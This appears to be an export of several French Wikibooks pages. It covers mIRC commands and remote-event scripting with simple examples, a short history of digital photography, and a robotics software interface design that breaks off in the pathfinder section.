{{Parammirc|[-s/fenêtre]}} Imprime une ligne de séparation sélectionnée dans le dialogue Options dans la fenêtre spécifiée. ==/links== {{Parammirc|[-nx]}} Récupère les serveurs auxquels votre serveur actuel est lié. {{Lsparammirc|-n|minimisent la fenêtre salon quand elle s 'ouvre.}} {{Lsparammirc|-x|maximisent la fenêtre salon quand elle s 'ouvre.}} ==/load == {{Parammirc|<-a/-pscqnm/-ruvsN> <nom de fichier> }} Charge l'alias, popup ou script spécifié. {{Code mIRC|/load -a aliases.ini}}Charge un fichier alias {{Code mIRC|/load -ps status.ini}}Charge un popup fenêtre statut {{Code mIRC|/load -pc status.ini}}Charge un popup channel (menu sur les salons) {{Code mIRC|/load -pq status.ini}}Charge un popup query {{Code mIRC|/load -pn status.ini}}Charge un popup nickname list (menu dans la liste des pseudonymes) {{Code mIRC|/load -pm status.ini}}Charge un popup menubar {{Code mIRC|/load -ru users.ini}}Charge un fichier users {{Code mIRC|/load -rv vars.ini}}Charge un fichier variables {{Code mIRC|/load -rs script.ini}}Charge un fichier script Si vous essayez de charger un fichier qui est déjà chargé, son contenu est mis à jour et sa position dans l'ordre de traitement du script/alias est maintenue. Vous pouvez également utiliser la commande /reload avec les mêmes paramètres pour recharger un fichier sans déclencher les évènements on start/load dans le script en cours de chargement. Si vous spécifiez le N avec /load -rsN, cela charge/recharge le script à la Nième position dans la liste du script. {{Note mIRC|Vous pouvez également charger une section à la fois.}} ==/loadbuf == {{Parammirc|[lignes] [-pirsgleopcnmNt<topic>] <fenêtre / ID dialogue> <nom de fichier>}} Charge le nombre de lignes spécifiées depuis la fin du fichier dans la fenêtre spécifiée. {{Code mIRC|/loadbuf 20 @test info.txt}} Cela charge les 20 dernières lignes de info.txt dans la fenêtre personnalisée @test. {{Code mIRC|/loadbuf 10-40 @test info.txt}} Cela charge les lignes 10 à 40 de info.txt dans la fenêtre personnalisée @test. {{Lsparammirc|-p|force les lignes de texte à être ajoutées quand elles sont ajoutées à la fenêtre.}} {{Lsparammirc|-i|s'assure que les lignes sont découpées si elles sont enveloppées. }} {{Lsparammirc|-r|efface le contenu de la fenêtre de sortie. }} {{Lsparammirc|-s et -g|appliquent la commande aux fenêtres statut et finger respectivement.}} {{Lsparammirc|-l|applique la commande à la liste dans une fenêtre personnalisée.}} {{Lsparammirc|-e|évalue les variables et identifieurs dans la ligne en cours de lecture. }} {{Lsparammirc|-cN|spécifie la couleur par défaut des lignes. }} {{Lsparammirc|-n|enregistre le texte chargé dans un fichier log, si l'enregistrement est validé pour cette fenêtre. Le paramètre -m indique le texte est déjà horodaté. }} {{Lsparammirc|-t|charge le texte sous la section [topic] dans un INI ou un fichier texte.}} {{Lsparammirc|-o|indique que vous avez spécifié les paramètres [ID dialogue] au lieu d'un nom de fenêtre de façon à charger le texte dans un contrôle dialogue personnalisé.}} ==/localinfo== {{Parammirc|-uh [host ip]}} Cherche et enregistre vos réglages local info. Le paramètre -u accomplit une recherche /userhost, le paramètre -h fait une recherche normale. Si vous le souhaitez, vous pouvez également régler l'info locale manuellement en spécifiant les valeurs de l'hôte et l'ip. ==/log== {{Parammirc|<on/off> <fenêtre> [-f nomdefichier]}} Active ou désactive l'enregistrement pour une fenêtre, si vous spécifiez un nom de fichier, le dialogue logs file est affiché. ==/mdi== {{Parammirc|–act}} Vous permet d'arranger les icônes, mettre en cascade et en fractionnement. ==/mkdir== {{Parammirc|<nomdedossier>}} Crée le dossier spécifié. ==/nick== {{Parammirc|<pseudonyme>}} Change votre pseudonyme. ==/omsg== {{Parammirc|[#salon] <message>}} Cela et la commande /onotice envoie le message spécifié à tous les opérateurs d'un salon. Vous devez être un opérateur du salon pour utiliser ces commandes. Si le #salon n'est pas spécifié, alors le salon en cours est utilisé. Modèle:Lsparammirc 5511 22724 2005-10-09T15:03:29Z MagnetiK 657 Création *'''{{{1}}}''' : {{{2}}} Programmation mIRC Identifieurs 5512 25036 2005-11-06T11:35:04Z MagnetiK 657 {{Programmation mIRC}} Les identifieurs retournent des valeurs spécifiques. Par exemple, '''$time''' retourne '''l'heure en cours'''. A chaque fois que mIRC trouve un identifieur dans une commande ou un script, il le remplace par sa valeur actuelle de cet identifieur. Beaucoup d'identifieurs accomplissent également des fonctions aux informations de que vous fournissez et retournent alors un résultat. Les identifieurs qui ne peuvent pas être évalués ou ne retournent aucune valeur retournent la valeur $null. La valeur $null ne peut pas être utilisée dans des comparaisons d'expressions if-then-else pour contrôler le branchement, etc. Vous pouvez également placer les identifieurs ou variables à l'intérieur des parenthèses ou autres identifieurs et ils seront évalués. Les identifieurs sont organisés par groupes comme suit : *[[Programmation_mIRC_Identifieurs_Temps_et_Date|Identifieurs Temps et Date]] *[[Programmation_mIRC_Identifieurs_Fichiers_et_Dossiers|Identifieurs Fichiers et Dossiers]] *[[Programmation_mIRC_Identifieurs_Pseudonyme_et_adresse|Identifieurs Pseudonyme et adresse]] *[[Programmation_mIRC_Identifieurs_Texte_et_Numéro|Identifieurs Texte et Numéro]] *[[Programmation_mIRC_Identifieurs_Token|Identifieurs Token]] *[[Programmation_mIRC_Identifieurs_Fenêtre|Identifieurs Fenêtre]] *[[Programmation_mIRC_Autres_Identifieurs|Autres Identifieurs]] Il y a également des identifieurs spécialisés pour les Agents, Contrôle DDE, Fenêtres personnalisées, Fenêtres Image, Sockets, Scripts remote, [[Programmation_mIRC_Dialogues#L.27identifieur_.24dialog.28.29|Dialogues]], Fichiers Binaires, Hash Tables, Expressions Régulières, Objets COM, Signaux, Multiserveur, Liste d'adresses interne, Sons, et Manipulation de fichiers. Programmation mIRC Remote 5513 25360 2005-11-11T18:25:26Z 81.64.155.68 {{Programmation mIRC}} Le remote vous permet de créer des scripts qui réagissent aux évènements du serveur IRC, comme que lorsqu'un utilisateur joint un salon ou vous envoie un message. Cet outil est une part plus complexe de mIRC, et pour l'utiliser, vous devez déjà savoir comment utiliser les Commandes IRC, comment créer des Alias, et comment utiliser les Variables et Identifieurs. La remote se compose de trois sections distinctes : #La section Users, où les adresses des utilisateurs avec des niveaux assignés sont listés. Chaque utilisateur dans votre section User peut être assigné à un ou plusieurs niveaux. Ces niveaux d'accès dictent quels évènements un utilisateur sera capable d'accéder. #La section Variables, où les variables actives sont listées. #La section Scripts, où les scripts que vous créez sont listés. Vous pouvez charger de multiple scripts qui fonctionnent indépendamment chacuns. Cela signifie qu'un seul serveur IRC peut déclencher les évènements dans un ou plusieurs scripts. Les scripts se composent d'évènements qui peuvent seulement être déclenché par les utilisateurs qui ont des niveaux d'accès requis. Vous pouvez également placer des Alias dans vos scripts en utilisant le préfixe alias, et les menus dans vos scripts en utilisant le préfixe menu. Depuis que les Niveaux d'accès jouent une part importante dans la façon les scripts fonctionnant, vous devriez les lire attentivement avant de les traiter. Vous devriez également regarder les Commandes, Identifieurs, la Liste Interne d'adresses, et la section sur comment Arrêter le texte par défaut en cours d'affichage si vous voulez afficher vos propres messages personnalisés d'évènements. Tous les Evènements suivants utilisent le même format général que les évènements ctcp et raw. Les sections ci-dessous vous fournissent l'information sur chaque événement autant que les exemples et astuces pour savoir les utiliser. [[Programmation_mIRC_Remote/Text|Action]] [[Programmation_mIRC_Remote/Error|Error]] Mp3End ServerOp Active [[Programmation_mIRC_Remote/Exit|Exit]] Nick Signal Agent FileRcvd NoSound snotice AppActive [[Programmation_mIRC_Remote/Filesent|FileSent]] Notice Sockwrite Ban GetFail Notify Start Chat Help Op Text Close [[Programmation_mIRC_Remote/Hotlink|Hotlink]] Open Topic Connect [[Programmation_mIRC_Remote/Input|Input]] Part UnBan Connectfail [[Programmation_mIRC_Remote/Invite|Invite]] Ping Unload Ctcp Join Pong Unotify CtcpReply KeyDown PlayEnd UserMode DccServer KeyUp Quit VCMD DeHelp Kick Raw Voice DeOp Load RawMode Wallops DeVoice Logon SendFail WaveEnd Dialog MidiEnd Serv Dns Mode ServerMode Programmation mIRC Remote/Text 5514 22732 2005-10-09T16:41:52Z MagnetiK 657 L'évènement on TEXT se déclenche quand vous recevez des messages privés et/ou de salon. Format : on <niveau>:TEXT:<texte correspondant>:<*><?><#[,#]>:<commandes> Exemple : on 1:TEXT:*help*:#mirc,#irchelp:/msg $nick Quel est le problème ? Les évènements on ACTION et on NOTICE utilisent exactement le même format qu'un on TEXT, et se déclenchent sur un événement action et notice respectivement. Le texte correspondant peut être une chaîne joker, où : * correspond à tout texte & correspond à tout mot text correspond si le texte contient seulement ce mot text* correspond si le texte commence avec ce mot *text correspond si le texte finit avec ce mot *text* correspond si le texte contient ce mot partout Le texte correspondant peut également être une expression régulière. Voir la section préfixe $ dans les Niveaux d'accès. Le lieu où cet évènement arrive peut être spécifié en utilisant : ? pour tout message privé # pour tout message de salon #mirc pour tout messages dans un salon #mirc * pour tout messages privés ou de salon Exemples on 1:TEXT:hello*:#:/msg $chan Bienvenue à $chan $nick! Cela écoute tout salon pour toute ligne commençant par le mot hello et dit bienvenue à l'utilisateur qui l'a dit dans le salon. on 1:TEXT:*cookie*:#food:/describe $chan donne à $nick un gateau :) Cela écoute sur le salon #food tout message contenant le mot cookie et donne à l'utilisateur qui l'a dit un gâteau. on 1:ACTION:moo:#:/msg $chan Aha, Je vois que nous avons une vache parmi nous. Cela écoute sur tout salon une action contenant le mot moo et répond en conséquence. on 1:NOTICE:*:?:/msg $nick Je suis OQP, je reviens dans un moment ! Cela écoute sur tout notice privée et répond avec le message que vous êtes loin du clavier. Pour plus de flexibilité, vous pouvez également utiliser les Variables en lieu et place du texte de correspondance et des paramètres du salon. on 1:TEXT:%matchtext:%salon:/msg $nick Tu as dit $1- sur le salon %salon La valeur de %matchtext sera comparé quel que soit le texte que l'utilisateur envoie, et la valeur de %salon sera comparé au salon auquel le message a été envoyé. Note : Vous ne pouvez pas tester ces évènements en tapant le texte vous-mêmes. Ils peuvent seulement être initiés par quelqu'un d'autre disant quelque chose dans un salon ou dans un message privé. Programmation mIRC Remote/Error 5515 22733 2005-10-09T16:43:15Z MagnetiK 657 L'évènement on ERROR se déclenche quand un serveur IRC envoie un message ERROR, cela arrive généralement à la déconnexion. Format : on <niveau>:ERROR:<texte correspondant>:<commandes> Exemple : on 1:ERROR:*server full*:/echo Essaie un autre serveur ! Pour une explication du texte correspondant, voir l'événement on TEXT. Exemples on 1:ERROR:*banned*:/echo Je suis banni de ce serveur *mumble*! Cela se déclenche quand vous essayez de vous connecter à un serveur et vous dit que vous êtes bannis. Les paramètres $1- se réfèrent au message erreur complète. Note : Cet évènement n'est pas relaté à tout type d'erreur se reportant à mIRC lui-même. Programmation mIRC Remote/Exit 5516 22734 2005-10-09T16:44:12Z MagnetiK 657 L'évènement on EXIT se déclenche quand mIRC se ferme lui-même. Format : on <niveau>:EXIT:<commandes> Exemple : on 1:EXIT:/echo Sortie de mIRC ! Exemples Le but principal de cette commande est de permettre aux scripts de sortir proprement, effacer les variables, sauver les réglages, etc. quand mIRC sort. Programmation mIRC Remote/Filesent 5517 22735 2005-10-09T16:45:41Z MagnetiK 657 Les évènements on FILESENT et on FILERCVD se déclenchent quand un dcc send ou dcc get réussit. Format : on <niveau>:FILESENT:<nomdefichier[,nomdefichier]>:<commandes> Exemple : on 1:FILESENT:*.txt:/msg $nick Je t'ai envoyé avec succès le fichier texte $filename Les évènements on SENDFAIL et on GETFAIL utilisent le même format que ci-dessus, et se déclenchent quand un dcc send ou dcc get échoue. Exemples on 1:FILESENT:*.txt,*.ini:/echo Envoyé $filename à $nick $address Cela se déclenche quand un dcc send réussit à envoyer un fichier .txt ou .ini à un utilisateur. $filename réfère au nom de fichier qui a été transmis. on 1:FILERCVD:*.txt,*.ini:/echo Reçu $filename de $nick | /run notepad.exe $filename Cela se déclenche quand un dcc get réussit dans l'obtention d'un fichier .txt ou .ini d'un utilisateur. on 1:SENDFAIL:*.txt:/echo I Echec d'envoi du fichier texte $filename à $nick Cela se déclenche quand un dcc send échoue à l'envoi d'un fichier .txt à un utilisateur. on 1:GETFAIL:*.zip:/echo J'ai échoué dans l'obtention du fichier zip $filename de $nick Cela se déclenche quand un dcc get échoue dans l'obtention du fichier .zip d'un utilisateur. Note : vous pouvez utiliser $send(-1) ou $get(-1) pour se référer au dcc associé à ces évènements. Programmation mIRC Remote/Hotlink 5518 22736 2005-10-09T16:46:34Z MagnetiK 657 L'évènement on HOTLINK se déclenche lors du déplacement de la souris sur un mot spécifique dans une ligne de texte ou dans une fenêtre. Format : on <niveau>:HOTLINK:<texte correspondant>:<*#?=!@>:<commandes> Exemples Cet événement fonctionne quelque peu différemment des autres évènements, et est mieux expliqué avec un exemple : on ^1:HOTLINK:*help*:#:{ if ($1 == helpme) return halt } on 1:HOTLINK:*:*:echo clique le mot $1 dans la ligne $hotline $hotlinepos Le premier évènement ^ est déclenché quand vous déplacez votre souris sur un mot qui correspond à *help* dans la fenêtre salon. Vous pouvez alors vérifier $1 pour voir si vous voulez que la main hyperlien apparaisse au-dessus du mot. Si vous arrêtez (halt) l'évènement, aucune main n'apparaît. Ceci vous permet de filtrer un mot basé sur le contexte. L'identifieur $hotline retourne la ligne complète où est contenue le déclencheur hyperlien. L'identifieur $hotlinepos retourne le numéro de ligne et la position du mot déclenchant. Le second évènement non-^ est déclenché quand vous double-cliquez sur un mot qui a été filtrée au travers du premier évènement hotlink. Note : Le script pour les évènements hyperlien devrait être aussi petit que possible car l'évènement se déclenche chaque fois que vous déplacez la souris sur un mot. Programmation mIRC Remote/Input 5519 22737 2005-10-09T16:47:27Z MagnetiK 657 L'évènement on INPUT se déclenche quand vous entrez un texte dans une boite d'édition et presses entrer. Format : on <niveau>:INPUT:<*#?=!@>:<commandes> Exemple : on 1:INPUT:#mIRC:/echo Vous avez entré le texte " $1- " dans la fenêtre #mIRC Exemples on 1:INPUT:#:/echo j'ai marmonné " $1- " dans un salon Se déclenche quand vous entrez un texte dans une boite d'édition d'une fenêtre salon et pressez entrer. Les paramètres $1- se réfèrent au texte que vous avez entré. Si vous /halt cet évènement, vous pouvez empêcher mIRC lui-même de traiter votre message. on 1:INPUT:?:/echo J'ai marmonné " $1- " dans la fenêtre privée on 1:INPUT:=:/echo J'ai marmonné " $1- " dans un dcc chat on 1:INPUT:!:/echo J'ai marmonné " $1- " dans un serveur de fichier Vous pouvez également spécifier un nom de fenêtre/de salon au lieu de *#?=!@. Vous pouvez utiliser l'identifieur $ctrlenter pour tester si Contrôle+Entrer a été pressé quand l'utilisateur a entré le texte. Note : Vous pouvez utiliser des commandes telles que /say avec on INPUT et ils enverront le message à la fenêtre dans laquelle vous avez tapé. Cependant, la plupart des commandes/évènements ne fonctionnent pas de cette façon et requièrent que vous spécifiiez la destination du message. Programmation mIRC Remote/Invite 5520 22738 2005-10-09T16:48:07Z MagnetiK 657 L'évènement on INVITE se déclenche quand un utilisateur vous invite dans un salon. Format : on <niveau>:INVITE:<#[,#]>:<commandes> Exemple : on 1:INVITE:#mIRC:/join $chan Exemples on 2:INVITE:#:/join $chan | /timer 1 3 /describe $chan apparaît dans un nuage de fumée! Cela se déclenche quand un utilisateur ayant un accès de niveau vous invite dans n'importe quel salon. Note : Si vous voulez automatiquement joindre un salon quand quelqu'un vous invite, il est plus facile d'activer l'option Auto-Join dans le dialogue Options. Photographie - Chapitre 25 - Photographie numérique 5521 22768 2005-10-10T00:10:33Z Jean-Jacques MILAN 114 {{Photographie}} * [[Photographie - 25 - Histoire de la photographie numérique|histoire de la photographie numérique]] Photographie - 25 - Histoire de la photographie numérique 5522 22769 2005-10-10T00:13:26Z Jean-Jacques MILAN 114 {{Photographie}} {{ébauche}} La première prise de vues numérique a eu lieu en 1975, on la doit à Steve Sasson, un ingénieur de la société Kodak, alors âgé de 25 ans. À cette époque il n'y avait encore ni cédérom, ni internet, ni ordinateur personnel. Le projet d'appareil photo électronique portatif sur lequel travaillaient en tout et pour tout deux personnes, Steve Sasson et un technicien, n'était pas vraiment prioritaire ... D'après les inventeurs, le plus gros problème ne fut pas de numériser les images mais de les enregistrer. Le premier appareil, construit pour 1000 $, comportait deux disques durs d'ordinateur, il était alimenté par 16 piles AA et enregistrait les images sur une bande magnétique contenue dans une cassette. L'ensemble pesait 3,9 kg. Pour examiner les enregistrements, il fallait un lecteur séparé relié à un moniteur de télévision, et l'apparition de chaque image, en noir et blanc, demandait plus de 20 secondes. Avec environ 10 000 pixels, la qualité n'était pas encore au rendez-vous ... La première photographie numérique a malheureusement été effacée et cet enregistrement historique est à jamais perdu. Les techniques de prise de vue numérique se sont développées lentement au fil des années mais personne ne savait quand elles allaient décoller pour de bon. En 1986 les chercheurs de Kodak ont mis au point un appareil fournissant des images de 1,4 mégapixel mais les mémoires et le logiciel de traitement ont été développés hors de l'entreprise. En 1992 le premier appareil numérique professionnel a été mis sur le marché, il comportait un capteur de 1,3 megapixels logé dans un boîtier Nikon F-3. Très vite, d'autres sociétés comme Canon, Olympus ou encore Casio ont su fabriquer des appareils bon marché et très miniaturisés qui ont supplanté ces productions onéreuses et peu performantes, de sorte que l'invention de Kodak a failli causer sa perte. Le véritable départ de la prise de vues numérique est lié à la diffusion massive de l'informatique individuelle, de l'internet et des imprimantes à jet d'encre. Depuis 2003 le marché du film est en chute libre et les usines de production ferment les unes après les autres. Steve Sasson, le père de l'appareil photo numérique, a aujourd'hui 55 ans et travaille toujours au sein de la société Kodak. Documentation phpMyVisites/interfaces club 5526 25944 2005-11-24T11:34:09Z Marc 66 =Objectifs du module info= La carte PC a accès à deux ressources indépendantes : la carte électronique et la caméra firewire. Son but est donc de les utiliser au mieux afin de jouer le plus intelligemment (ou plutot efficacement) possible. Le programme doit aussi être facilement configurable et pratique à débugguer, notamment en vue d'un changement tactique de derniere minute. =Unités= Cette partie pourrait presque faire partie du guide de style, elle concerne les unités utilisés par les interfaces. *On utilisera pour désigner des longueurs, positions ou distances le '''millimètre'''. *Les angles seront mesurés en '''radian'''. *Les vitesses s'expriment en '''millimètre/seconde''' et les accélérations en '''millimètre/seconde²'''. *Les vitesses angulaires en '''radian/seconde''' et les accélérations en '''radian/seconde²'''. *Les fréquences en '''Hertz'''. *Les temps en '''seconde'''. Si pour une raison ou une autre une autre unité est utilisée, il faudra préciser clairement dans le commentaire et dans le nom de la fonction ou de la variable quelle unité est utilisée. =Numérotation des éléments du terrain= Voir les schemas annexes... On considere que les elements sont fixes et que c'est le robot qui demarre d'un cote ou de l'autre. Les éléments importants du terrain sont numérotés de la façon suivante : *'''Tx.y''' pour la position des totems, x representant le numéro de camp et y la position dans le camp. *'''Hx.y''' pour la position des trous (Holes), x representant le numéro de camp et y la position dans le camp en partant du haut du terrain. La numérotation des trous suit la logique du terrain (les trous sont placés par symétrie axiale), mais le terrain risquant d'être modifié, il est probable que la numérotation change. *'''Bx.y''' pour la position des balles, x representant la couleur de la balle et y la position de la balle en partant en haut à gauche du terrain. *'''Beaconx.y''' pour la position des balises, x representant le numéro de camp et y le numéro de balise. =Description des couches et modules= Comme le montre le diagramme UML, le programme est divisé en couche représentant différents niveaux d'abstraction permettant de passer du protocole de communication avec le matériel, au niveau le plus abstrait qui permet de faire jouer un match complet en quelques lignes de script. == Légende des priorités == Il existe un système de priorité de développement pour organiser le développement. 3 niveaux de priorités : * '''***''' : Urgent / indispensable. A faire en priorité, doit être parfaitement stable et fonctionnel * '''**''' : Intéressant. Indispensable pour faire une intelligence évoluée. Dans un 1er temps, facultatif. * '''*''' : Facultatif. Le must du must pour de l'IA poussée... si on a fini en avance alors on gère ce genre de choses, mais on ne perds pas une minute dessus jusqu'à Avril. ==Couche "Auxiliaires Globaux"== Cette couche regroupe l'ensemble des modules pouvant servir à plusieurs niveaux, on y retrouve typiquement des modules de débuggages, de configurations, des définitions de types globaux ou des modules facilitant le codage (plus spécifique au C++). ===Types Globaux=== ;Description: Ce sont tout les types qui ne sont pas spécifiques à un module, et qui pourront donc être employés par plusieurs couches différentes. On a notamment des types permettant de spécifier des positions. ;Ebauche d'Interface: Priorité globale : '''***''' typedef int64; typedef uint64; typedef int32; typedef uint32; typedef int16; typedef uint16; typedef int8; typedef uint8; class cRange { bool IsInRange(float value); float GetNearestValueFrom(float value); } class cPos3D { cVector4D GetCoordInBase(const cBase &); void SetCoordInBase(const cBase &, const cVector4D &); }; class cBase { cBase(cBase *Parent); SetPosition(const cVector3D&), Rotate(); }; ;Variables globales: cBase RepereAbsolu; cBase RepereRobot; On utilise deux reperes globaux à l'application : *Le premier est absolu, son origine se situe dans le coin a droite de la zone de départ du robot. L'axe des X est parallèle à la grande longueur du terrain, l'axe des Y est parallèle à la largeur du terrain et l'axe Z est perpendiculaire au terrain, orienté vers le haut. *Le second est relatif, son origine se situe entre les deux roues motrices du robot. L'axe des X est dirigé vers l'avant du robot, l'axe des Y est dirigé vers la gauche du robot et l'axe Z est identique à l'axe Z du repère absolu. Enfin on définit l'angle thêta comme l'angle direct (sens trigo) entre l'axe X absolue et l'axe X relatif. ===Math=== ;Description: Primitives mathématiques diverses qui servent en particulier au positionnement (matrice4x4, vecteur3d) ;Ebauche d'Interface: Priorité globale : '''***''' class cMatrix4x4 { //operations basiques sur les matrices : //addition, multiplication... (avec une autre matrice ou un scalaire) } class cVector4D { //operations basiques sur les vecteurs: //addition, multiplication... (avec un autre vecteur, un scalaire ou une matrice) } + fonctions permettant de créer des matrices de rotation, translation... ===Constantes Globales=== ;Description: Constantes généralement en relation avec le réglement, le terrain ou la mécanique du robot. ;Ebauche d'Interface: FIELD_WIDTH FIELD_HEIGHT HOLE_RADIUS BALL_RADIUS TOTEM_RADIUS BALL_NB HOLE_NB Voir la section sur la numérotation des éléments du terrain. HOLE_POSITION[x][y] TOTEM_POSITION[x][y] BALL_START_POSITION[x][y] BEACON_POSITION[x][y] ===Helpers divers et Abstraction OS=== ;Description: Couche d'abstraction avec le système d'exploitation. En particulier il s'agit d'objets simplifiants : *le multitache (création de thread et synchronisation) *le réseau (création de client/serveur tcp-ip) *le chronométrage (utilisé uniquement par le module Timer) *les interfaces graphiques (utilisé uniquement par le module IHM) ;Ebauche d'Interface: Priorité globale : '''***''' class cMutex { Lock(); Release(); }; class cEvent { Wait(); Set(); }; +Gestionnaire d'evenement/message avec des fonctions du style : LinkEventToCallback(event, callback); //Probleme de duree de vie des evenements ? class cThread { virtual int32 threadMain(); }; //Automatise la protection de variable avec un mutex template class cProtectedData<typename T> { T Get(); void Set(const &T); //Classe permetant de modifier l'objet directement //(sans en faire de copie) class Accessor; }; //Idem cProtectedData, mais stocke la variable en //plusieurs exemplaires (technique du backbuffering) template class cBufferedData<typename T> {}; template class cSingleton<typename>; uint64 GetCurrentTick(); uint64 GetTickFrequency(); date GetTodayDate(); Priorité : '''**''' //Classes mères de client/serveur tcp-ip class cTCPIPServer; class cTCPIPClient; Voir doc spécifique OSAL. ===Timer=== ;Description: Le timer peut envoyer des évènements à certains moments clefs du match. On peut aussi lui demander de lever un évènement toutes les x secondes. Il permet en plus de chronométrer, et de profiler facilement certaines parties du code. ;Ebauche d'Interface: Priorité globale : '''**''' (seule sont indispensables les méthodes permettant de connaitre la fin du match, et de calculer un temps simplement et précisément) uint64 GetCurrentTick(); uint64 GetTickFreq(); void MatchBeginNow(); uint32 GetMsAfterBeginning(); uint32 GetMsBeforeEnd(); [IT]: EndOfMatch(); [IT]: TimeBeforeEnd(int sec); [IT]: TimeAfterBeginning(int sec); [IT]: WarnMeIn(int ms); [IT]: WarnMeEvery(int ms); class cProfiler - Priorité : '''*''' { SegmentStart(); SegmentEnd(); GetAveragePeriod(); GetAverageFrequency(); GetCallNumber(); } ===IHM/Debug=== ;Description: Le but de ce module est de faciliter le debuggage (éventuellement à distance). On y retrouve des classes permettant de logguer du texte, de tracer des courbes, d'afficher des images à l'écran assez facilement ou encore de lire le clavier de manière asynchrone. ;Ebauche d'Interface: //Classe de log, fournit des ostream (type cout) //l'affichage se fait dans des consoles graphiques class cLog - Priorité : '''***''' { static std::ostream &Debug(); static std::ostream &Error(); static std::ostream &Info(); }; //type de figure pouvant etre dessine sur le terrain2D class cPattern - Priorité : '''**''' { Move(const cPos2D &); Hide(); / Show(); Blink(hz); }; //Fenetre d'affichage de terrain vue du dessus class cFieldDisplayer - Priorité : '''**''' { cPattern *AddPattern(Dot/Pixel/Line/Cross/Circle/Square + color); [IT]: OnMouseClick() + GetMousePos() }; //Fenetre d'affichage video class cVideoDisplayer - Priorité : '''***''' { DrawPicture(rgb); } //Fenetre d'affichage de courbe class cPlotDisplayer - Priorité : '''*''' { AddPoint(x, y); SetScale(minX, maxX, minY, maxY); } //La fonction callback prend en parametre l'id de la touche pressée Priorité : '''**''' [IT] OnKeyPressed(); [IT] OnSpecKeyPressed(keyid); ===Config Manager=== ;Description: Le Config Manager permet de configurer les constantes de chaque module au démarrage du programme. Il pourra par exemple lire ces constantes depuis un fichier de script (type .ini ou .xml). ;Ebauche d'Interface: class Config - Priorité : '''**''' { void Load(file); int32 GetVar(string); }; ==Couche IA (Intelligence Artificielle)== Il s'agit de la couche décisionnelle de plus haut niveau : à terme la tactique devrait être programmé uniquement dans ces modules. ===IA/Script=== ;Description: Priorité : '''*''' Il s'agit du module le plus haut : c'est lui qui prend les décisions, il peut éventuellement se servir d'un fichier de script (type python ou lua) pour lire les actions qu'il doit exécuter. Il n'y a pas réellement d'interface pour ce module étant donné que c'est à lui d'utiliser les autres modules. Par contre si on décide d'utiliser un fichier de script, il faudra définir des fonctions "glues" permettant d'appeller les fonctions haut niveau du programme C++ depuis le script. ;Exemple de script simple du type homologation: On recupere une balle a une position sure et on va la deposer dans le trou le plus simple. onStarter() { cParallelLinePath path1; cBallPickupWP wp1(BALL_START_POSITION(B1.1)); path1.push(wp1); Controler::Run(path1); } ~ Approximatif : ~ onBallPickupReached(-400) { Automatisme::ActivateRollerDuring(800); } ~ onNewBallInEjector() { Controler::Stop(); cParallelLinePath path2; if(Automatisme::GetBallColor(LEFT_EJECTOR) == WHITE_BALL) { cBallDropping wp2(LEFT_EJECTOR, HOLE_POSITION(H2.1)); } else if(Automatisme::GetBallColor(RIGHT_EJECTOR) == WHITE_BALL) { cBallDropping wp2(RIGHT_EJECTOR, HOLE_POSITION(H2.1)); } path2.push(wp2); Controler::Run(path2); } onBallDroppingReached() { if(Automatisme::GetBallColor(LEFT_EJECTOR) == WHITE_BALL) { Automatisme::DropBall(LEFT_EJECTOR); } else if(Automatisme::GetBallColor(RIGHT_EJECTOR) == WHITE_BALL) { Automatisme::DropBall(RIGHT_EJECTOR); } } onEndOfGame() { cControler::EmergencyStop(); Automatisme::StopAll(); } onCollisionDetected() { cControler::EmergencyStop(); Automatisme::StopAll(); } ---- Exemple de script en pseudo langage : //On suppose que le script a deja ete lance par l'ihm elec avec les fonctions suivantes : //Automatisme->ActivateIA().Wait(); //nb = Automatisme->GetIHMStratSwitch(); //LaunchScript(nb); Pos->SetTeam(Auto->GetTeamSwitch(); Auto->Starter().Wait(); ClothoidPath path; pos = posaux->GetNearestWhiteBall(); wp = WaypointPickup(pos); LinkEventToCallback(wp.Approaching(500), Auto->ActivateRollerDuring(1000)); path.push(wp); pos = posaux->GetNearestWhiteBall(pos); wp = WaypointPickup(pos); LinkEventToCallback(wp.Approaching(500), Auto->ActivateRollerDuring(1000)); path.push(wp); pos = posaux->GetNearestAlliedFreeHole(pos); wp = Waypoint(pos); LinkEventToCallback(wp.Approaching(1000), RecomputePathWithEjecteur()); path.push(wp); path.go(); function RecomputePathWithEjecteur path.clear(); if(Auto->GetBallColor(LEFT) == WHITE_BALL) wp = WaypointDropping(pos, LEFT); else wp = WaypointDropping(pos, RIGHT); path.push(wp); path.recompute(); LinkEventToCallback(path.GoalReached(), Auto->DropBall(LEFT/RIGHT); ==Couche Auxiliaire IA== Les auxiliaires de l'IA sont la pour simplifier certains calculs et algorithmes et permettent donc à la couche d'IA d'utiliser des scripts assez simples. Cela permet aussi de factoriser certaines taches qui pourrait revenir systématiquement dans chaque script. ===Positionnement auxiliaire=== ;Description: Fournit à l'IA des fonctions simples pour obtenir des informations sur des éléments particuliers du jeu (comme la balle la plus proche ou le trou le plus accessible). Basiquement il s'agit d'algorithme de tri ou de recherche de min/max. ;Interface: Les fonctions retournent un booléen indiquant l'existence de l'élément recherché et modifie l'objet position le cas échéant. Le terme 'nearest' ici signifie proche en temps, pas forcément en distance. Il s'agit donc d'obtenir l'élément le plus accessible. bool GetNearestWhiteBallPos(Pos &, posRobot = currentPos); (priorité : '''***''') bool GetNearestBlackBallPos(Pos &, posRobot = currentPos); (priorité : '''*''') bool GetNearestUntriggeredTotemPos(Pos &, posRobot = currentPos); (priorité : '''*''') bool GetNearestFreeAlliedHolePos(Pos &, posRobot = currentPos); (priorité : '''***''') bool GetNearestBlackAlliedHolePos(Pos &, posRobot = currentPos); (priorité : '''*''') bool GetNearestFreeOpponentHolePos(Pos &, posRobot = currentPos); (priorité : '''**''') bool GetNearestWhiteOpponentHolePos(Pos &, posRobot = currentPos); (priorité : '''*''') //retourne le point le plus proche de la bordure void GetNearestHorizontalBorderPos(Pos &, posRobot = currentPos); (priorité : '''**''') void GetNearestVerticalBorderPos(Pos &, posRobot = currentPos); (priorité : '''**''') //Fonction de retour d'info IA -> Positionnement Priorité : '''***''' void FrontTouchedDownHEdge(); void FrontTouchedUpHEdge(); void FrontTouchedLeftVEdge(); void FrontTouchedRightVEdge(); void BackTouchedDownHEdge(); void BackTouchedUpHEdge(); void BackTouchedLeftVEdge(); void BackTouchedRightVEdge(); ===Pathfinder=== ;Description: Le pathfinder permet de déterminer les trajectoires optimales permettant d'aller d'un point a un autre. ;Ebauche d'Interface: class cPath - Priorité : '''***''' { public: virtual void Compute(); virtual cmd TranslateToMotorCmd(); virtual float EstimateDeviation(const cPos &Current); virtual float EstimateRemainingTime(); void Push(const cWaypoint &); void Push(const cFixedWaypoint 